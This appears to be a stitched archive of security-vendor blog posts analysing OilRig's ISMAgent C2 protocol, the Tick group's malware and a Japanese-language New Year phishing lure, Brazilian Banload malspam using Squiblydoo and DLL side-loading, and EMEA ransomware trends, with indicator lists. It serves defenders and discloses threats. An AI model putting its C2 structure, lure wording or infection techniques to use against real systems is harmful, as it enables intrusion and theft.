The C2 domain used for this script was mslicensecheck[.]com, which had previously been reported by LogRhythm in their OilRig whitepaper. Interestingly, it was the only domain associated with OilRig that did not have an IP resolution at its second-level, much like the ISMAgent samples.

The “doIt” function within the PowerShell script, seen in Figure 7, is responsible for initiating the C2 communications, as well as parsing the data provided by the C2 server to run the appropriate commands. This function uses the strings “/action2/”, “/response/” and “/upload/” within the C2 URLs when using HTTP to communicate with the C2 server. This behavior and these strings were also observed in the ISMAgent C2 behavior. The “doIt” function also shows that the C2 server will respond with data structured the same way as ISMAgent, using “#” as a delimiter and various offsets such as offset 0 used in subsequent requests with the C2, offset 2 specifying a URL to download a file from, offset 3 specifying a command to execute using command-prompt, and offset 4 specifying a path to a file to upload to the C2 server.

Figure 7 The 'doIt' function within the PowerShell script handles C2 interaction and functionality

The commonalities between this PowerShell script and ISMAgent do not stop there. The HTTP requests to the C2 server use the exact same URL structure. For instance, the payload generates a URL using the following line of code, which results in a base64 encoded string that contains [hostname/username]:

Also, as seen in the code above, the PowerShell script makes sure the base64 encoded data used is safe to use in an HTTP URL, by replacing the characters “=”, “/” and “+” characters with hexadecimal equivalent. The ISMAgent payloads also performed the exact same replacement, as seen in the portion of code in Figure 8.
OilRig_7
Figure 8 Code within ISMAgent payload that overlaps character replacement HTTP communications functionality within PowerShell script

The DNS tunneling protocol within the PowerShell script is the same as the ISMAgent payload, which can be visualized by the following beacon sent from the PowerShell script:

To facilitate the DNS tunneling functionality, the PowerShell script replaces the “=”, “/” and “+” characters within the base64 data sent to the C2 server within the subdomains of DNS queries. However, DNS queries cannot include the “%” character, so it uses the following line of code to replace them with “-“, “-s-“ and “-p-“ instead:

This functionality is again replicated within the ISMAgent payload for its DNS tunneling functionality, as shown in Figure 9.
OilRig_8
Figure 9 Code within ISMAgent payload that overlaps character replacement within DNS tunneling functionality within PowerShell script

Conclusion

The OilRig campaign has repeatedly demonstrated a willingness and desire to be iterative in their toolset, while maintaining some level of similarities over time. In this scenario, we were able to directly observe this type of behavior, while also implement a tool thought to be previously unrelated to OilRig. With the inclusion of ISMAgent within the OilRig toolset, we are beginning to see stronger relationships between the various documented groups operating in the Middle East. This region has proven to be a hot bed of espionage motivated activity over the last couple of years, and there appear to be no signs of this changing. As our research continues, our goal will be to generate even better understandings of the true extent of the various operations in this region and the relationships between them.

Palo Alto Networks customers are protected and may learn more via the following:

  • Samples are classified as malicious by WildFire and Traps prevents their execution
  • Domains and IPs have been classified as malicious and IPS signatures generated
  • AutoFocus users may learn more via the ISMAgent and Clayslide tags

Indicators of Compromise

Clayslide delivering ISMAgent

3eb14b6705179590f0476d3d3cbd71665e7c1935ecac3df7b876edc9bd7641b6
5ac939a5426db8614165bd8b6a02d3e8d9f167379c6ed28025bf3b37f1aea902

ISMAgent payloads
bbfc05177e5e29b3c8c4ef0148969d07e6239140da5bff57473c32409e76c070
52366b9ab2eb1d77ca6719a40f4779eb302dca97a832bd447abf10512dc51ed9
af4d8604d0cd09b8dc01dbafc33c6d240d356cad366f9917192a2725e0121a0d

ISMAgent C2
Adobeproduct[.]com
ntpupdateserver[.]com
microsoft-publisher[.]com

Related infrastructure

Miedafire[.]com
tatavpnservices[.]com
chrome-dns[.]com
fireeyeupdate[.]com
cache-service[.]net
level3-resolvers[.]net
Mslicensecheck[.]com

 

“Tick” Group Continues Attacks

Posted on by Kaoru Hayashi

The “Tick” group has conducted cyber espionage attacks against organizations in the Republic of Korea and Japan for several years. The group focuses on companies that have intellectual property or sensitive information like those in the Defense and High-Tech industries. The group is known to use custom malware called Daserf, but also employs multiple commodity and custom tools, exploit vulnerabilities, and use social engineering techniques.

Regarding the command and control (C2) infrastructure, Tick previously used domains registered through privacy protection services to keep their anonymity, but have moved to compromised websites in recent attacks. With multiple tools and anonymous infrastructure, they are running longstanding and persistent attack campaigns. We have observed that the adversary has repeatedly attacked a high-profile target in Japan using multiple malware families for the last three years.

Tick Tools

Symantec was first to publicly report on Tick, followed by LAC in 2016. These reports discussed the group’s malware, Daserf (a.k.a Muirim or Nioupale) and some additional downloader programs. Though Daserf wasn't a popular attack tool at the time of publishing the two reports, it dates back to at least 2011. Using AutoFocus, we were able to identify the link among Daserf and two other threats, 9002 and Invader. These threats shared infrastructure between July 2012 and April 2013.

Tick_1

Figure 1 Sharing C2 servers among threats

Invader (a.k.a Kickesgo) is a backdoor that injects its main code into a legitimate process, such as explorer.exe, and has following functions:

  • Logs keystrokes and mouse movement
  • Captures screenshots
  • Opens cmd.exe shell
  • Enumerates processes
  • Executes programs
  • Removes itself
  • Enumerates all opening TCP and UDP ports

9002 is the infamous RAT frequently seen in targeted attacks reported by various security vendors, including Palo Alto Networks. Interestingly, the C2 servers linking 9002 to Daserf were described in the report of an Adobe Flash Zero-day attack from FireEye in 2013. These domains were registered through the privacy protection services in 2008 and 2011.

  • krjregh.sacreeflame[.]com
  • lywja.healthsvsolu[.]com

Though we don't know the targets of these malware samples at the time of writing this article, we suspect the same group is behind these threats for a number of reasons. The samples of Daserf that shared infrastructure were submitted to VirusTotal only from Japan multiple times in 2013. As noted in a later section, another Invader sample shared different C2 servers with Daserf. Symantec reported that Tick exploited additional Adobe Flash and Microsoft Office vulnerabilities. SecureWorks said the adversary group is abusing a previously undisclosed vulnerability in Japanese Software Asset Management system on endpoints. Therefore, Tick or their digital quartermaster is capable of deploying new and unique exploits.

Minzen and Nameless Backdoor

In July 2016, we identified a compromised website in Japan that was hosting a Daserf variant. The web server was also a C2 server for another threat, Minzen (a.k.a, XXMM, Wali, or ShadowWali). The threat often uses compromised web servers in Japan and the Republic of Korea.

As Kaspersky and Cybereason recently posted, Minzen is a modular malware that has both 32-bit and 64-bit components in its resource section or configuration data in its body. One of the Minzen samples (SHA256: 9374040a9e2f47f7037edaac19f21ff1ef6a999ff98c306504f89a37196074a2) found in the Republic of Korea in December 2016 installs simple backdoor module as a final payload on a compromised computer. It opens a TCP port and receives commands from a remote attacker. According to the debug path in the body, the author of the tool called it "NamelessHdoor," and its internal version is identified as “V1.5.”

Tick_2

Figure 2 Debug path left in the backdoor module in Minzen

The payload is based on "Nameless Backdoor" which has been publicly available for more than ten years. The oldest code we could identify was hosted on a famous Chinese source code sharing site since 2005. The author of the NamelessHdoor appears to have created additional versions of the Nameless Backdoor by removing unnecessary functions, and added open-source DLL injection code from ReflectiveDLLLoader.

Tick_3

Figure 3 Nameless Backdoor posted on Chinese Source File Sharing Site

There is minimal public information regarding the Nameless Backdoor, except for the interesting report from Cyphort in 2015. The researcher of the company analyzed multiple threats, including Invader, Nioupale(Daserf) and Hdoor found in an attack against an Asian financial institution. We examined the sample described in the report as Hdoor and found it's a previous version of the NamelessHdoor we discovered in the Minzen sample, but without support for DLL injection.

Tick_5

Figure 4 Strings in NamelessHdoor sample found in 2015

Shared Infrastructure and Cipher Code with Custom Gh0st

Other interesting samples in the report are dllhost.exe and Shell64.dll. We don't have the same files but found possible variants close to their description in the article. These include the following:

  • Executable files that connect to the same remote server, blog.softfix.co[.]kr:80, download a DLL file and execute the 'lowmain' export function.
  • DLL files have 'lowmain' and 'main' exports.

It turned out that the DLL files we found are a custom variant of Gh0st RAT, and the EXE files download the RAT. Since the source code is publicly available, Gh0st RAT has been used by multiple actors for years.

The domain, softfix.co[.]kr was registered in 2014. One of subdomains, news.softfix.co[.]kr was the C2 server of Daserf (SHA256: 9c7a34390e92d4551c26a3feb5b181757b3309995acd1f92e0f63f888aa89423). Another subdomain, bbs.softfix.co[.]kr was hosted on same IP address as bbs.gokickes[.]com, which was reported as the C2 server of Invader by Cyphort. We also identified www.gokickes[.]com was the C2 of another Invader variant (SHA256: 57e1d3122e6dc88d9eb2989f081de88a0e6864e767281d509ff58834928895fb).

In addition to the infrastructure, the attacker also shared code. The Gh0st downloaders employ simple substitution ciphers for hiding strings.

Tick_5

Figure 5 Decryption code in Gh0st Downloader

The cipher converts one character to another based on a substitution table, which can be seen below. As an example, the character 'K' in plain text is changed to '5' in cipher text, 'h' is converted to 'j' and so on. The string 'connect' was encoded to 'zF((0za' using this table.

Text characters
plain text KhL9V1ds5Z"QnfNC&Fb8xGr-()<>[]{}|+THce;0%7Oiz#W DE6qS?aw./BJlk,yUPjgI^@$*tumYA'p2RoX=v_:M43
cipher text 5j2Cnx^@$*(){}|+mX k3DK'LGchHNPgZ,z0T8_sRU7)<>"[lBpdfI#%bu;yt-YeoW?4vAMQVa.6qJi:=wFO9&/1ESr

Table 1 Substitution Table used in Gh0st Downloader

The following Python script can decipher the encoded string.

The exact same table for simple substitution cipher is used in a variant of Daserf (SHA256: 01d681c51ad0c7c3d4b320973c61c28a353624ac665fd390553b364d17911f46). We also found a very similar table in other Tick tools. Since the strings are unique to these threats, we believe a developer linked to the group built these tools. Because of the shared domains and code, we believe the incident reported by Cyphort have ties to Tick. The following tables were identified for their associated malware samples:

Minzen (SHA256:26727d139b593486237b975e7bdf93a8148c52d5fb48d5fe540a634a16a6ba82):

Datper (SHA256: 7d70d659c421b50604ce3e0a1bf423ab7e54b9df361360933bac3bb852a31849):

Spearphishing Email with Patched File Encryption Program

We also identified another malware family, HomamDownloader, sharing some servers with Daserf. An overview of the connections among these threats is discussed in below.

Tick_6

Figure 6 Links among threats and servers

HomamDownloader is a small downloader program with minimal interesting characteristics from a technical point of view. HomamDownloader was discovered to be delivered by Tick via a spearphishing email. The adversary crafted credible email and attachment after understanding the targets and their behavior.

The email below was sent from a personal email account with a subject line of “New Year Wishes on January 1st”. The message asked the recipient to rename the attachment extension from “._X_” to “.exe” and opening it with the password specified in the email to view the Happy New Year eCard in the correct and polite language.

Tick_7

Figure 7 Spearphishing Email with HomamDownloader

The image above is translated to the following in English:

Dear XXXX,

Heartfelt Greetings for the New Year.
Thank you very much for your support over the past year.
I will greatly appreciate your further guidance and encouragement.

Would you please change the file extension of the attachment from "._X_" to ".exe" and open it?
Password is "nengajyo".

For those who are not familiar with Japanese companies, the email must look suspicious, especially given that the executable file attachment has the incorrect file extension. However, this may look legitimate in some cases. Many Japanese companies introduced a file encryption system for secure data exchange over email. The system encrypts documents with a user-specified password and often creates a self-extracting (SFX) file for ease of decrypting the file to recipients. When sending the SFX file with a password by email, senders usually rename the file extension from .exe to something else to avoid blocking or detecting the attachment by an email gateway or security product. The adversary may know Japanese enterprise users exchange these emails in such a way and crafts the spearphishing email in the same manner.

In addition to the social engineering email technique, the attacker also employs a trick to the attachment. The actor embedded malicious code to a resource section of the legitimate SFX file created by a file encryption tool, and modified the entry point of the program for jumping to the malicious code soon after the SFX program starts. The malicious code drops HomamDownloader, then jumps back to the regular flow in the CODE section, which in turn asks the user the password and decrypts the file. Therefore, once a user executes the attachment and sees the password dialog on SFX, the downloader dropped by the malicious code starts working even if the user chooses the Cancel on the password window. Should the user become aware of the infection later, it may be difficult to find the cause due to the fact that the original embedded file contained within the SFX is benign.

Tick_9

Figure 8 Execution flow of Patched SFX file

Conclusion

Tick was spotted last year, but they are actively and silently attacking various organizations in South Korea and Japan for a number of years. While some of the group’s tools, tactics, and procedures (TTPs) have been covered within this article, it is likely there is much that still remains uncovered.

Palo Alto Networks customers are protected by these threats in the following ways:

  1. All samples discussed are classified as malicious by the WildFire sandbox platform.
  2. All identified domains have been classified as malicious.
  3. AutoFocus users can track the malware described in this report using Tick campaign tag and various malware tags.
  4. Customers running Traps are protected from the discussed threats.

Indicator of compromise

SHA256

Daserf

  • 04080fbab754dbf0c7529f8bbe661afef9c2cba74e3797428538ed5c243d705a
  • f8458a0711653071bf59a3153293771a6fb5d1de9af7ea814de58f473cba9d06
  • e8edde4519763bb6669ba99e33b4803a7655805b8c3475b49af0a49913577e51
  • 21111136d523970e27833dd2db15d7c50803d8f6f4f377d4d9602ba9fbd355cd
  • 9c7a34390e92d4551c26a3feb5b181757b3309995acd1f92e0f63f888aa89423

Invader

  • 0df20ccd074b722d5fe1358b329c7bdebcd7e3902a1ca4ca8d5a98cc5ce4c287
  • e9574627349aeb7dd7f5b9f9c5ede7faa06511d7fdf98804526ca1b2e7ce127e
  • 57e1d3122e6dc88d9eb2989f081de88a0e6864e767281d509ff58834928895fb

9002

  • 933d66b43b3ce9a572ee3127b255b4baf69d6fdd7cb24da609b52ee277baa76e
  • 2bec20540d200758a223a7e8f7b2f98cd4949e106c1907d3f194216208c5b2fe
  • 055fe8002de293401852310ae76cb730c570f2037c3c832a52a79b70e2cb7831

Minzen

  • 797d9c00022eaa2f86ddc9374f60d7ad92128ca07204b3e2fe791c08da9ce2b1
  • 9374040a9e2f47f7037edaac19f21ff1ef6a999ff98c306504f89a37196074a2
  • 26727d139b593486237b975e7bdf93a8148c52d5fb48d5fe540a634a16a6ba82

NamelessHdoor

  • dfc8a6da93481e9dab767c8b42e2ffbcd08fb813123c91b723a6e6d70196636f

Gh0stRAt Downloader

  • ce47e7827da145823a6f2b755975d1d2f5eda045b4c542c9b9d05544f3a9b974
  • e34f4a9c598ad3bb243cb39969fb9509427ff9c08e63e8811ad26b72af046f0c

Custom Gh0st

  • 8e5a0a5f733f62712b840e7f5051a2bd68508ea207e582a190c8947a06e26f40

Datper

  • 7d70d659c421b50604ce3e0a1bf423ab7e54b9df361360933bac3bb852a31849

HomamDownloader

  • a624d2cd6dee3b6150df3ca61ee0f992e2d6b08b3107f5b00f8bf8bcfe07ebe7

C2
lywjrea.gmarketshop[.]net
krjregh.sacreeflame[.]com
psfir.sacreeflame[.]com
lywja.healthsvsolu[.]com
phot.healthsvsolu[.]com
blog.softfix.co[.]kr
news.softfix.co[.]kr
www.gokickes[.]com
log.gokickes[.]com
sansei.jpn[.]com

Malspam Targeting Brazil Continues to Evolve

Posted on by Brad Duncan

For years now, criminals behind banking Trojans, remote access tools (RATs) and other types of malware have targeted Microsoft Windows hosts in Brazil through malicious spam (malspam). Antivirus often detects the associated malware as "Banload," a family of Trojans that downloads other malware. We've identified 9,215 samples tagged "Banload" in AutoFocus since December 2013. Of these Banload samples, we've seen 2,132 samples during the first six months of 2017.Malspam_1

Figure 1: Banload samples we've seen during the first six months of 2017.

The infection process has become increasingly complex. We've previously documented examples of Brazilian malspam from 2015 and 2016 that reveal a multi-stage infection process. As of 2017, this trend continues, and these criminals often abuse legitimate services like Google and Dropbox. We have notified both Google and Dropbox of the attacks we found so they can take appropriate action.

This blog post reviews a Brazilian malspam example from late June 2017.

Stages of the malware infection

This category of Brazilian malspam uses a multi-stage infection process. The initial stages start from a link in the email. This link is from a URL shortner that leads through a series redirects to a cloud storage URL. The cloud storage URL returns a malicious zip archive.

Follow-up stages require the victim to open the zip archive and double-click on its content. In this case, the malicious zip archive contained a Windows shortcut (.lnk) file that downloaded script to download a malware binary and infect the computer with it.

Malspam_2

Figure 2: Multi-stage infection process from the June 2017 example of Brazilian malspam.

The email

This message claims to be the 3rd and final notification for payment of IPTU (Brazilian Property, Territorial, and Urban Tax) from City Hall, but email headers show the message came from an Italian IP address at 212.237.35.135. The attackers used a spoofed sender address: specifically, they used the recipient's email address as the sender's address. Criminals behind this campaign abused Google's URL Shortener service and used it for a link in the message.

Malspam_3

Figure 3: Example from a wave of malspam in late June 2017.

After clicking on the URL from the message, we saw a series of redirects that led to a Dropbox URL. The Dropbox URL provided a zip archive to the potential victim. The zip archive contained a shortcut file for Microsoft Windows (an LNK file). Double-clicking on that shortcut generated more traffic and infected the Windows host in our lab environment.

Malspam_4

Figure 4: Traffic from an infected Windows host indicates abuse of legitimate services.

Malspam_5

Figure 5: Clicking the link led to a zip archive.

The malware

The shortcut uses an exploitation technique dubbed "Squiblydoo" designed to bypass application allowlisting by utilizing tools built into the Windows operating system. If the malicious script was run with only the user's account permissions, it would not work. However, this technique uses signed Microsoft binaries that are installed with the operating system. Squiblydoo allows a user with normal privileges to download and execute a script with elevated privileges from a remote server. In this case, the LNK file used regsvr32.exe to execute scriptlet files retrieved from a Dropbox URL.

Malspam_6

Figure 6: Malicious shortcut (LNK) file extracted from the downloaded zip archive.

Malspam_7

Figure 7: Scriptlet returned from URL generated by the LNK file.

Malspam_8

Figure 8: Script returned from URL generated by the previous scriptlet file

This Squiblydoo technique was used to download another zip archive that contained two files: a legitimate Windows executable and a malicious DLL file. These two files were extracted and stored on the infected Windows host in a randomly-named directory under the user's AppData/Local/Roaming folder as shown in the image below.

Malspam_9

Figure 9: Follow-up malware downloaded as zip, extracted and saved under user's AppData/Roaming directory.

The executable is a component of G-Buster Browser Defense, originally developed by GAS Tecnologia. Diebold acquired GAS Tecnologia in 2012, and the most recent version of this software is called Diagnóstico Warsaw (Warsaw Diagnostics). In recent years, this system has been used by several Brazilian financial institutions to prevent bank fraud by ensuring correct identification between the user's computer, bank, and bank account. The G-Buster executable component is not malicious, although this particular version is no longer in use. Originally named GbpSv.exe, this is a signed executable will generally not show as malware by most anti-virus programs.

Malspam_10

Figure 10: Windows registry entry for GbpSv.exe made persistent on the infected Windows host.

This G-Buster executable GbpSv.exe is designed to load a DLL file named fltLib.dll. The DLL file is the truly malicious component of the two items from the infected host. The technique of loading malicious DLL using a legitimate executable, is known as side-loading.  Side-loading is an increasingly common technique used by criminals to sneak malicious content past Anti-Virus vendors by hiding it in DLL files. The DLL file appears to be botnet malware, and it likely has an information stealing component common to other malware seen in this type of Brazilian malspam.

Post-infection traffic

Post-infection traffic consisted of a single HTTP POST request that returned information on other infected hosts. We saw data on more than 400 infected Windows computers in text returned from this HTTP request.  Most of the infected hosts were located in Brazil, but a handful were from other locations like Argentina, Czech Republic, or Russia.

Malspam_11

Figure 11: Post-infection traffic from an infected Windows host.

Conclusion

Google and Dropbox were notified of the malicious URLs from this infection traffic, and we have ensured Palo Alto Networks customers are protected against this traffic. A similar infection with matching characteristics was later noted in July 2017, and we expect this trend will continue.

Users located in Brazil or people who use Brazilian online banking services should be aware of this threat and take necessary precautions, such as not clicking links in suspicious emails. We will continue to investigate this activity for applicable indicators to inform the community and further enhance our threat prevention platform.

Indicators of Compromise

Traffic after clicking on the email link that downloaded the malicious zip archive:

  • HTTPS via port 443 – goo[.]gl - GET /htm4qG
  • HTTPS via port 443 - googleapis[.]com - GET /pid/2via.html
  • HTTP via port 80 - gov.br.impostocontribuinte[.]com - GET /Contribuinte/Iptu/
  • HTTPS via port 443 - dropbox[.]com - GET /s/ss6op2vxi3ggnhe/Notificacao%28Iptu-.-2017%29.zip?dl=1

Traffic that occurred after double-clicking on malicious LNK file:

  • HTTPS via port 443 - dropbox[.]com - GET /s/pqgwxrkcbqaonsy/sdar7hsy_2_.sct?dl=1
  • HTTPS via port 443 - dropbox[.]com - GET /s/vgq25no8a5zbb9b/gw4c9sql_1_.sct?dl=1
  • HTTP via port 80 - 192.252.1[.]11 - GET /https/dv/ipv3.zip

Post-infection traffic from the infected Windows host:

  • HTTP via port 80 - 192.252.2[.]161 - POST /ipv3/index.php

Associated file hashes:

SHA256 hash: b42994352613e6bf63599dac0e2d4ddaf2b868842d5f04749f437f8335a63309

  • File name: Notificacao(Iptu-.-2017).zip
  • File description: Downloaded zip archive after clicking link from the malspam

SHA256 hash: a4cf9811c55d0e4f2f8c783d1458ab3a5d69244287030a0a8154e89ed6ae02b0

  • File name: Notificacao(Iptu-.-2017).lnk
  • File description: Extracted Windows shortcut (LNK) file from the zip archive

SHA256 hash: e7374e5ec576d95155c3b35d799656aba33315edbc9cdc7f0a04ed201135843a

  • File name: sdar7hsy_2_.sct
  • File description: Scriptlet (SCT) file returned after double-clicking the LNK file

SHA256 hash: ed491c8d0b4ea30a3a4d78c2ee713d72b7ff4b1f90e04a86a775852953ade892

  • File name: gw4c9sql_1_.sct
  • File description: Another SCT file called from the first scriptlet

SHA256 hash: 94cf47c57413753ecc8c648384b475e96f13f8caca648b9240486340e1d91aa0

  • File name: ipv3.zip
  • File description: Follow-up malware downloaded by the above SCT file

SHA256 hash: 71eb0797db8de8ff5a9fe84b5568cd728b4b089537e4e1b5fd55b42de8b3fa07

  • File name: bxmmyDLr.exe
  • File description: G-Buster executable (GbpSv.exe) made persistent on the infected host

SHA256 hash: faf0892be515437f9dfc86040e130533722b6149d65000969ebb334253cf4b89

  • File name: fltLib.dll
  • File description: Malicious DLL loaded by G-Buster executable.

LabyREnth CTF 2017 Final Week: Beat the Maze!

Posted on by Richard Wartell

The LabyREnth Capture the Flag (CTF) challenge ends in less than a week!

It’s the final hours of the LabyREnth challenge, do you have what it takes to defeat the goblin king? You’ll have until 4:00 p.m. Pacific Time on July 23, 2017 to complete the challenge.  Do you have the creativity and talent to make it to the finish line?

Though the cash prizes have been claimed, you can still find glory in completing challenges, getting your name in the hallowed halls, and receiving coins and other participation prizes. The CTF is open worldwide, including Palo Alto Networks partners.  Please refer to the official rules by typing 'overview' into the terminal for more on eligibility.

We’ll announce the winners right after the challenge closes, so keep an eye on our blog, watch the @unit42_intel Twitter handle and #LabyREnth hashtag for updates and hints!

Can you escape the LabyREnth?

EMEA Bi-Monthly Threat Reports: Turkey, Saudi Arabia & United Arab Emirates

Posted on by Alex Hinchliffe

Introduction

As part of a new series of regular threat report updates to the public covering different sets of countries from around the EMEA (Europe Middle East and Africa) region, this blog covers the emerging and Middle East region focusing on Turkey, Saudi Arabia & United Arab Emirates for April and May, and leads on from my previous blog about the United Kingdom, Germany and France. This new series will dig deeper into current trends, the threats affecting each country, and provide useful tips for mitigating these threats via our AutoFocus Threat Intelligence Service.

In my previous blogs, I introduced the EMEA region at a high-level– a large group of countries each with mixed languages, cultures, and cybersecurity maturity levels. Each also has different industry sectors and different economic profiles, which in turn creates a very diverse environment potentially ripe for cyberattacks.

Headlines

  • Jaff ransomware very prevalent in all three countries using PDF files with embedded weaponized Microsoft Word documents.
  • Spora ransomware uptick, delivered over web-browsing application, in Saudi Arabia.
  • Remote Access Trojans (RATs) especially popular in attacks against Saudi Arabia.

Trends

By Country

According to AutoFocus, Turkey accounted for over three quarters of the total malware samples and the malicious sessions of the three countries I’m examining in April, with almost 2,000 unique malware samples in over 27,000 malicious sessions. The United Arab Emirates accounted for a slightly higher number of samples than Saudi Arabia but both countries had lower volumes – under half of Turkey’s. The same cannot be said when comparing malicious session volume as the United Arab Emirates received almost four times the amount Saudi Arabia did.

Figure 1 below shows the general trends of malicious sessions for each country and highlighting the weekends where volume generally decreases as we tend to see less malspam inbound to organizations and less outbound malicious session volume using application traffic such as web-browsing.

EMEA_1

Figure 1: Daily malware sessions by country

The same malicious session volume data is represented in Figure 2 below in terms of the top 10 most affected industries in all three countries.

Given Turkey’s proportion of the total malicious volume, as mentioned earlier, it’s little surprise to see the country representing highly in many sectors in Figure 2, however other countries did show much higher volume in certain sectors, such as Healthcare in Saudi Arabia, with 96% of the volume, mostly due to the most prevalent of which include Jaff and Cerber. In addition, data stealing Trojans featured highly as well, including strains such as Ursnif, GipStealer, Pony, Lokibot and PredatorPain.

Similarly, the Government sector in the United Arab Emirates saw higher volumes of malware than other countries, receiving many of the same malware families as in the Healthcare sector in Saudi Arabia, mostly due to the large-scale malspam campaigns used for delivery. Conversely, Remote Access Trojans (RATs) featured highly only in the Government sector including such strains as ZyklonHTTP and LuminosityLink.

EMEA_2

Figure 2: Daily malware sessions by Industry

Top Malware

The following charts in Figure 3 below show the top malware by way of the highest number of unique samples seen targeting each of the three countries.

The charts clearly show overlap between the countries and the malware observed in the region. PdfDocmDropper, for example was the number one malware in terms of prevalence accounting for almost half of the samples in both Saudi Arabia and the United Arab Emirates. This malware is closely linked to Jaff ransomware and was also highly prevalent in Turkey only to be beaten by RanserKD.

EMEA_3EMEA_4

EMEA_5

Figure 3: Top Malware by Country

EMEA_6EMEA_7

A switch occurred in April whereby variants of Jaff ransomware that were previously delivered using weaponised Microsoft Word documents changed to using PDF files that contained said Word documents, embedded within the PDF. When opened, most applications rendering the PDF content will prompt the user to open the embedded file with leading text to encourage this behavior, as shown in Figure 4. If the embedded Word document is opened, the Microsoft Word will take over, and produce a more traditional view, together with social engineering content, to encourage the recipient to enable the VBA macro content, as shown in Figure 4.

EMEA_8 EMEA_9

Figure 4: (left) PDF Document Dropper containing embedded Word document (right)

The fact that there is an additional step (opening the embedded Word document from within the PDF) in the infection chain in many ways may lead to fewer infections simply because would-be victims get another chance to question if this is suspicious behavior, however, we believe belief is that PDFs are being used here because as weaponized Word documents are so ubiquotous that security policies are being applied to limit their delivery into enterprise organizations.

Typically these PDF droppers arrive via email with filenames such as “Scan_920684.pdf” and “123-229928252-reg-invoice.pdf” where numbers can differ. Similar subject lines for the emails are used, including “Scan Data” and “Copy of your 123-reg invoice ( 123-595747586 )”.

EMEA_10

RanserKD ransomware was seen during this period affecting both Turkey, where it was the most prevalent malware, and Saudi Arabia but in a much smaller scale and only affecting the Consumer and Packaged Goods sector. Figure 5 below shows the different industries affected in Turkey.

EMEA_11

Figure 5: Industries in Turkey affected by RanserKD

Some examples of session informaiton from the attacks seen in Turkey include filenames like “771040.doc” and email subjects as follows (with their English translation):

  • Odeme yapmanizi rica ediyoruz (we ask you to drink);
  • Istediginiz bilgi burada (The information you want here);
  • Lutfen onerimize bakin (Look at our tips)

RanserKD, a family of file-encrypting ransomware that has been with us since the start of the 2017 in ever-increasing volume, is quite novel making use of legitimate webservices, such as Imgur and Dropbox, as part of its communication schema. Weaponized Word documents typically look like the example shown in Figure 6 below, often including leading text and techniques to encourage recipients to click on links.

EMEA_12

Figure 6: RanserKD weaponized document example

During execution of a RanserKD weaponized Word document in our Wildfire sandbox numerous malicious behaviors are exhibited, including the malicious VBA code launching, in the context of the Word application process, a new command shell process in turn to execute a PowerShell command. Figure 7 below shows this activity as reported through AutoFocus.

EMEA_13

Figure 7: Wildfire sandbox analysis for RanserKD initial infection behavior

The command appears quite convoluted but essentially it attempts to download the ransomware payload from a list of URLs, saving the file in the user’s %TEMP% folder using a random number for the filename, and executing said payload.

Grey box 1

Top Applications

Figure 8 plots the malicious sessions seen in the three countries by their respective applications, where said application is common to all countries. The most common method for malware delivery was email, especially when combining SMTP, POP3, IMAP, and other webmail applications together. This trend matches malware delivery activity globally. Based off these metrics we can deduce that social engineering via specially crafted phishing emails is still a heavily used attack method.

The SMTP volume breakdown between the three countries indicates that Saudi Arabia received the most malicious sessions, which is interesting considering that the total of all application session volume in Saudi Arabia was almost five times less than Turkey’s and that Saudi Arabia received fewer unique samples over those more plentiful SMTP sessions. Aside from Jaff ransomware the most prevalent malware over SMTP in Saudi Arabia was Pony – a downloader with plugins for credential harvesting.

EMEA_15

Figure 8: Malware sessions by application by Country

EMEA_16Pony is a popular downloader program that can download additional malware onto the infected system. It is also equipped with a number of plugins that may be used to steal stored credentials for various applications such as FTP clients, web browsers, email clients, and other software. Pony is also commonly known as Fareit.

This commodity Trojan is common and often seen in high volumes throughout the world. Although this sparkline indicates what appears to be a slight decline EMEA_17in this period as compared to three to four months prior, the session volume still averages well over two thousand per day. For the three countries examined, the industries most targeted were Higher Education, Consumer Packaged Goods, Wholesale and Government.

EMEA_18

 

Loki Bot is a commodity malware sold on underground sites and is designed to steal private data from infected machines, and then submit that info to a command and control host via a HTTP POST. This private data includes stored passwords, login credential information from web browsers, and a variety of cryptocurrency wallets. Globally, LokiBot is trending upwards EMEA_19to hundreds if not thousands of sessions per day. Often the SMTP session emails have double file extensions, such as ‘.pdf.exe’ as well as ‘.gz’ extension purporting to be gzip compressed files.
EMEA_20

Spora was mentioned in the last threat report blog as being especially prevalent in France. In this report Spora is the most prevalent malware seen over the web-browsing application with more than one quarter of all such samples. Most of the volume seen was in Saudi Arabia, which had over three times the volume compared to the United Arab Emirates; Turkey saw no Spora activity during this period.

As described in the last blog the growth of Spora globally since early this year had been quite high and we can see this trend EMEA_21 continues further into 2017.

Many of the web-browsing sessions containing Spora ransomware use filenames such as “Chrome font.exe” that purport to be font files or other updates related to the Google Chrome web browser. The target industry in both countries is Securities and Investment Services.

Threats

Country Specific

We can see further differences between the three countries, as Figure 9 below highlights. Despite the vast majority of malware families being common across all three countries and globally, there are some malware families only in observed in one country. The following section describes each of these country-specific threats and shows their global trends for the last six months in the form of sparkline charts highlighting each malware’s peak and trend over the extended period.

EMEA_22

Figure 9: Unique malware families, by Country

EMEA_23

Nymaim is family of ransomware that includes components to download other malware and lock PCs. This malware is frequently distributed by Exploit Kits and malspam messages. In this case, the sessions in Turkey were sent over SMTP and the handful of samples seen during this period were present in several thousand sessions around the world as part of a large campaign. Email subject lines referenced “invoices” and “unpaid items” and many were in Polish, with some sender addresses including Polish domain names.

AutoFocus shows that globally, over the extended period of the last six months, the volume of Nymaim ransomware is trending EMEA_24 down but with some fairly significant activity reaching several thousand sessions per day from time to time.
EMEA_25

KasperAgent is a downloader malware family used in targeted attacks deployed to gain a foothold into target organizations. It supports a basic set of commands including the ability to capture keystrokes, screenshots, exfiltrate basic system and user information, and steal passwords from common web browsers.

The malware seen in Turkey targeted companies in the Media and Entertainment sector, as described in this Unit 42 and ClearSky collaborative blog, by sending emails with executable attachments having .scr extensions. Subject lines for such emails included text such as: مراسلة بين قيادة حركة حماس وقوي الامن الداخلي بغزة اعلان حرك , which translates to “Correspondence between the leadership of Hamas and the Internal Security Forces in Gaza”. Hamas is the de facto governing authority of the Gaza Strip since its takeover of that area in 2007; the Internal Security Forces are the national police and security force of Lebanon.

Session volume for this malware is quite low in total but has recently shown several larger spikes EMEA_26 after a period of little activity.
EMEA_27

ImminentMonitor (aka MorphineRAT), targeting Consumer Packaged Goods sector in Saudi Arabia via SMTP, is a popular Microsoft .NET Framework RAT with extensive functionality containing multiple plugins from crypto-currency miners to keylogging.

The SMTP sessions appear to be from spoofed accounts with most sessions originating from the U.S. with the sender email address coming from Gmail and yahoo addresses. Subject lines and attachment filenames include “Police Invitation Letter” or contain “Invoice”, “Proforma”, “Swift” or “Payment” references. The emails have the ImminentMonitor RAT malware attached as executable files having .EXE file extensions.

